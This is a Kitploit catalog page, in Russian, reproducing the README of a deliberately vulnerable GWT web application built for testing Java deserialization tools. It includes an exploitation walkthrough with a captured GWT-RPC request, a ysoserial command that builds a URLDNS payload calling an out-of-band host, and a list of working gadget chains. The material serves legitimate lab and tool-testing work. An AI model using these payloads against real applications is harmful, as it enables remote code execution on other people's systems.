Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
VulnerableGWTApp — Преднамеренно уязвимое веб-приложение на основе GWT для проверки инструментов и методик | Kitploit
Инструменты/GitHubGitHub/bishopfox/vulnerablegwtapp
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubbishopfox/vulnerablegwtapp

VulnerableGWTApp

Преднамеренно уязвимое веб-приложение на основе GWT для проверки инструментов и методик

Репозиторий
52 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уязвимое GWT веб-приложение

Это версия примера приложения StockWatcher, описанного в руководстве по началу работы с GWT, которая была изменена для использования функции «enhanced classes» GWT, что делает её уязвимой к атаке десериализации Java. Она должна использоваться только для тестирования инструментов обнаружения и эксплуатации. Enhanced classes часто используются в реальных приложениях на основе GWT, но до публикации этого примера не существовало легко доступных веб-приложений с открытым исходным кодом, которые специалисты по безопасности могли бы использовать для проверки своих инструментов и методик.

Эксплуатация приложений на основе GWT обсуждается в сообщении блога Bishop Fox «GWT: An Eight-Year-Old Unpatched Java Deserialization Vulnerability».

Запуск веб-приложения

Для запуска веб-приложения вам понадобится Linux-система со следующими инструментами:

  • Полная версия JRE OpenJDK 11, не headless-версия — например, в дистрибутивах на основе Debian установите пакет openjdk-11-jre
  • ant (установите с помощью менеджера пакетов вашего дистрибутива)
  • Версия 2.10.0 GWT SDK

Быстрый старт

Приложению требуется ряд JAR-файлов, которые слишком велики, чтобы включать их непосредственно в систему управления исходным кодом GitHub, поэтому самый простой способ начать работу — загрузить последний пакет со страницы релизов и распаковать его.

После распаковки релиза отредактируйте эту строку в build.xml, заменив /home/user/GWT/gwt-2.10.0 на каталог вашего GWT SDK:

Находясь в каталоге исходного кода, выполните следующие команды:

root@kitploit:~
ant build
ant devmode

Это запустит уязвимое веб-приложение и сделает его доступным по адресу http://127.0.0.1:8888/StockWatcher.html.

Обратите внимание: если вы перенаправляете трафик к локальному сервису, чтобы сделать его доступным удалённо, вам также следует перенаправить порт 9876 в дополнение к 8888.

Запуск непосредственно из кода в этом репозитории

Если вы хотите клонировать этот репозиторий и запустить приложение без загрузки релиза, после клонирования вам нужно будет загрузить и добавить следующие сторонние JAR-файлы в каталог lib:

  • aspectjweaver-1.9.2.jar
  • commons-collections-3.2.2.jar
  • javax.persistence.jar
  • jboss-as-connector-7.1.3.final.jar
  • jdo-api-3.2.1.jar
  • jpa-annotations-source.jar
  • junit-vintage-engine-5.10.0.jar
  • jython-standalone-2.7.3.jar

Вам также потребуется скопировать следующие JAR-файлы GWT из вашего каталога GWT (например, gwt-2.10.0/) в каталог lib для этого уязвимого приложения:

  • gwt-dev.jar
  • gwt-servlet.jar
  • gwt-user.jar
  • validation-api-1.0.0.GA.jar
  • validation-api-1.0.0.GA-sources.jar

После копирования всех этих JAR-файлов выполните остальные шаги из раздела «Быстрый старт» выше.

Эксплуатация веб-приложения

Используя веб-браузер, настроенный на подключение через перехватывающий прокси-сервер (например, Burp Suite), загрузите URL http://127.0.0.1:8888/StockWatcher.html.

Страница сначала покажет сообщение «compiling». Подождите, пока не отобразится эта простая форма:

[ Веб-приложение StockWatcher, отображающее поле для добавления символа акции ]

Введите в поле короткую строку, например BFOX, затем нажмите кнопку Add. Страница должна начать отображать случайные обновления для смоделированного символа акции:

[ Веб-приложение StockWatcher, отображающее смоделированные данные о ценах для символа BFOX ]

В истории вашего перехватывающего прокси обратите внимание, что ваш браузер теперь многократно отправляет POST-запросы на http://127.0.0.1:8888/stockwatcher/checkCustomClass1, аналогичные следующему:

root@kitploit:~
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...

7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|

Base64-кодированные двоичные данные rO0ABXcEAAAAAA== являются уязвимой точкой внедрения в запросе. Чтобы эксплуатировать веб-приложение, вам нужно сгенерировать заменяющую полезную нагрузку. Например, чтобы сгенерировать полезную нагрузку URLDNS с помощью настроенной версии ysoserial от Bishop Fox, вы можете выполнить следующую команду:

root@kitploit:~
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
  --gwt bishopfox \
  URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
  | base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64

Отправьте изменённую версию запроса, заменив rO0ABXcEAAAAAA== на сгенерированную полезную нагрузку, и уязвимое приложение должно десериализовать и активировать её. В дополнение к любому действию, вызываемому полезной нагрузкой, ответ также должен содержать NoSuchFieldException, связанное с именем поля, если значение было десериализовано, например, при использовании имени bishopfox из примера выше:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...

//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]

Если вы использовали готовый релиз уязвимого веб-приложения или вручную добавили все упомянутые выше JAR-файлы в собственную сборку, вы сможете (как минимум) использовать против веб-приложения следующие полезные нагрузки:

  • AspectJWeaver
  • Jython2
  • Jython3

На момент написания этого текста основная версия ysoserial не поддерживала вывод в формате GWT, поэтому обязательно используйте специальный форк.

Скачать инструмент